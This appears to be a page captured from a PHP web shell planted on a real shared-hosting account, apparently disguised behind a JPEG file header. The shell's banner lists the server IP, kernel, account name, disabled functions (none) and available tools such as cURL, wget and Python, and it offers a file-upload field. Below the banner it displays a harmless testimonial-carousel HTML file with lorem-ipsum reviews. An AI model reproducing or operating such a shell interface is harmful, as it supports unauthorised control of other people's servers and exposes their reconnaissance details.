ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/thread-self/root/home/././taxhyuvu/public_html/slide/ |
Upload File : |
<style>
/* Importing fonts from Google */
@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap');
/* Reseting */
/* * {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Poppins', sans-serif;
}
body {
background: linear-gradient(to right, #101c81, #2a6ba3);
min-height: 100vh;
} */
.owl-carousel .owl-item {
transition: all 0.3s ease-in-out;
}
.owl-carousel .owl-item .card {
padding: 30px;
position: relative;
}
.owl-carousel .owl-stage-outer {
overflow-y: auto !important;
padding-bottom: 40px;
}
.owl-carousel .owl-item img {
height: 200px;
object-fit: cover;
border-radius: 6px;
}
.owl-carousel .owl-item .card .name {
/* position: absolute; */
/* bottom: -20px; */
/* left: 33%; */
color: #ffffff;
font-size: 1.1rem;
font-weight: 600;
background-color: #1c959e;
padding: 0.3rem 0.4rem;
border-radius: 5px;
box-shadow: 2px 3px 15px #3c405a;
font-family:math;
}
.owl-carousel .owl-item .card {
opacity: 0.2;
transform: scale3d(0.8, 0.8, 0.8);
transition: all 0.3s ease-in-out;
}
.owl-carousel .owl-item.active.center .card {
opacity: 1;
transform: scale3d(1, 1, 1);
}
.owl-carousel .owl-dots {
display: inline-block;
width: 100%;
text-align: center;
}
.owl-theme .owl-dots .owl-dot span {
/* height: 20px; */
/* background: #2a6ba3 !important; */
border-radius: 2px !important;
opacity: 0.8;
}
.owl-theme .owl-dots .owl-dot.active span,
.owl-theme .owl-dots .owl-dot:hover span {
height: 13px;
width: 13px;
opacity: 1;
transform: translateY(2px);
/* background: #83b8e7 !important; */
}
/* @media(min-width: 480.6px) and (max-width: 575.5px) {
.owl-carousel .owl-item .card .name {
left: 24%;
}
}
@media(max-width: 360px) {
.owl-carousel .owl-item .card .name {
left: 30%;
}
} */
.testimonial{
color: black;
text-align: justify;
font-family: math;
font-size: 17px;
}
/* .active{background:#000000ab !important;} */
</style>
<script>
$(document).ready(function () {
var silder = $(".owl-carousel");
silder.owlCarousel({
autoplay: true,
autoplayTimeout: 3000,
autoplayHoverPause: false,
items: 1,
center: true,
nav: false,
margin: 50,
dots: true,
loop: true,
responsive: {
0: { items: 1 },
480: { items: 2 },
575: { items: 2 },
768: { items: 2 },
991: { items: 3 },
1200: { items: 3 }
}
});
});
</script><hr>
<div class="section-title">
<h2>Our Clients Reviews</h2> </div><hr>
<div class="owl-carousel owl-theme mt-5">
<div class="owl-item" style="background-color: rgb(1, 149, 159);">
<div class="card" style="border-radius: 51px;">
<!-- <div class="img-card"> </div> -->
<div class="testimonial mt-4 mb-2">
<h5 style="font-size: 21px;font-weight:900;">Hammad Shah</h5>
<h6 style="font-size: 18px; color:#4c4c4c;">Lorem ipsum dolor sit amet consectetur adipisicing elit. Accusamus expedita dicta doloremque odit saepe quo natus aut accusantium alias blanditiis.
</h6>
</div>
</div>
</div>
<div class="owl-item" style="background-color: rgb(1, 149, 159);">
<div class="card" style="border-radius: 51px;">
<!-- <div class="img-card"> </div> -->
<div class="testimonial mt-4 mb-2">
<h5 style="font-size: 21px;font-weight:900;">Asim Taqi</h5>
<h6 style="font-size: 18px; color:#4c4c4c;">Lorem ipsum dolor sit amet consectetur adipisicing elit. Accusamus expedita dicta doloremque odit saepe quo natus aut accusantium alias blanditiis.
</h6>
</div>
</div>
</div>
<div class="owl-item" style="background-color: rgb(1, 149, 159);">
<div class="card" style="border-radius: 51px;">
<!-- <div class="img-card"> </div> -->
<div class="testimonial mt-4 mb-2">
<h5 style="font-size: 21px;font-weight:900;">Syed Hasnain Raza Gillani</h5>
<h6 style="font-size: 18px; color:#4c4c4c;">Lorem ipsum dolor sit amet consectetur adipisicing elit. Accusamus expedita dicta doloremque odit saepe quo natus aut accusantium alias blanditiis.
</h6>
</div>
</div>
</div>
</div>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.carousel.min.css">
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.theme.default.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.2.1/owl.carousel.js"></script>